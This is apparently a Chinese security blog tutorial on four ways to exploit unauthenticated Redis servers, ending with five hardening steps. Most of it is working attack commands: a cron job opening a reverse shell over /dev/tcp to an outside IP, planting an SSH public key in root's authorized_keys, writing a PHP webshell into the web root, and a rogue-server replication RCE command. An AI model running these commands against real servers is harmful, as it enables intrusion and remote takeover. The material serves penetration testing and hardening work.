Redis未授权四种利用方式与修复方案

Redis

想整理一波Redis利用方式,在内网中很容易遇见(方便运维人员)
简介:redis是一个key-value存储系统,nosql - 非关系型数据库,支持存储的value类型相对更多,包括string、list、set、zset和hash。这些数据类型都支持push/pop、add/remove及交并差和更丰富的操作,且操作都是原子性。为了保证效率,数据都是缓存在内存中,区别是redis会周期性的把更新的数据写入磁盘或者把修改写入追加的记录文件,并在这个基础上实现了master-slave(主从)同步,后面也会说关于主从的rce。

Redis基本操作

  • set testkey “hello” - 创建一个键值对
  • keys * 显示所有键
  • delxxx 删除键为key的数据
  • get xxx 读key的内容
  • config set dir /home/test 设置工作目录
  • config set dbfilename redis.rdb 设置备份为减价
  • save 进行一次备份操作

1、 set和get可以完成基本的赋值取值操作
2、Redis不区分大小写
3、keys * 可以列出所有键
4、键值中有空格 需要使用双引号连起来

利用方式一:反弹Shell

靶机redis相关配置文件修改

后面其他利用方式配置文件如下
通过redis反弹shell回来
首先确定redis版本,低版本可以直接利用,高版本在搭建完靶场后需要修改配置:
1.修改redis.conf文件,添加自己的ip进去,否则默认只能本地连接
Redis未授权四种利用方式与修复方案_第1张图片
2.关闭保护模式,否则无法连接进去
yes改为no
Redis未授权四种利用方式与修复方案_第2张图片
3.132行no改为yes,只有这样才可以修改配置文件
Redis未授权四种利用方式与修复方案_第3张图片

如果不修改这一步,会报错
(error) ERR CONFIG SET failed (possibly related to argument ‘dir’) - can’t set protected config

当然,如果你没有这一行,证明你的版本没有此保护,可以忽略这一步操作。
这是高版本redis的保护机制,所以目前redis未授权的反弹shell或是写入ssh都只能在低版本利用,同时反弹shell对系统要求也有限制,这里只成功在centos中复现成功。
修改完配置

反弹shell

进行反弹SHELL操作
首先,在你接受shell的机器打开监听,我这里监听3333端口
Redis未授权四种利用方式与修复方案_第4张图片

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/38.22.133.155/3333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

当然还可以调用lua语句

#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。
 eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

将反弹shell指令加入计划任务
成功弹回shell
Redis未授权四种利用方式与修复方案_第5张图片

利用方式二:Redis密钥写入ssh

利用条件:
1、Redis服务使⽤ROOT账号启动、且可未授权登陆
2、服务器开放了SSH服务,⽽且允许使⽤密钥登录,即可远程写⼊⼀个公钥,直接登录远程 服务器。
生成密钥公钥

ssh-keygen -t rsa

防止乱码

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt

导入内容到redis数据库
cat key.txt | redis-cli -h 192.168.1.74 -a 123456 -x set ssh
-a 是登陆密码,没有可以不填
回显为OK
然后接下来,保存到目录下

redis:6379> config set dir /root/.ssh
redis:6379> config set dbfilename authorized_keys 
redis:6379> save

这时候就大功告成了,直接ssh连入

利用方式三: Redis写WEBSHELL

这种方式需要知道网站物理路径
获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏

redis:6379> config set dir /var/www/html/
redis:6379> config set dbfilename shell.php
redis:6379> set x ""
redis:6379> save

利用方式四:主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指一个redis作为主机,其他为备份机,主从数据相同,从机去读,主机写。在Redis4.x之后,通过外部扩展,可以实现redis中实现一个新的redis命令,构造恶意.so文件,在两个redis实例设置主从模式,redis主机实例可以通过FULLRESYNC同步文件到从机上,在从机家在恶意so文件,从而执行文件。

影响版本:redis<=5.05

工具下载:
https://github.com/n0b0dyCN/redis-rogue-server

$  python3 redis-rogue-server.py --rhost 192.168.0.109 --lhost 192.168.0.145

Redis安全设置

1、单独为redis设置一个普通账户,不要用root,如果被爆破密码,权限过高
2、设置本地localhost 不允许外部访问
3、 开启保护模式,即配置文件中protected-mode一定设置为yes
4、 设置高强度password - requirepass参数
5、 修改redis默认端口,不用6379

做到上面五步,就很难被攻入

你可能感兴趣的:(系统服务漏洞,redis,数据库,缓存)